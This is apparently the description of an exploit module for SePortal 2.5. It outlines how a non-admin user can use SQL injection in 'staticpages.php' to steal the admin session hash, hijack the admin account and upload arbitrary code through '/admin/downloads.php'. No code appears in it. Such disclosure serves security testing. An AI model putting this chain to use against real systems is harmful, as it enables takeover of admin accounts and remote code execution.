|
|
This module exploits a vulnerability found in SePortal version 2.5.
|
|
|
|
When logging in as any non-admin user, it's possible to retrieve the admin session
|
|
|
|
from the database through SQL injection. The SQL injection vulnerability exists
|
|
|
|
in the "staticpages.php" page. This hash can be used to take over the admin
|
|
|
|
user session. After logging in, the "/admin/downloads.php" page will be used
|
|
|
|
to upload arbitrary code.
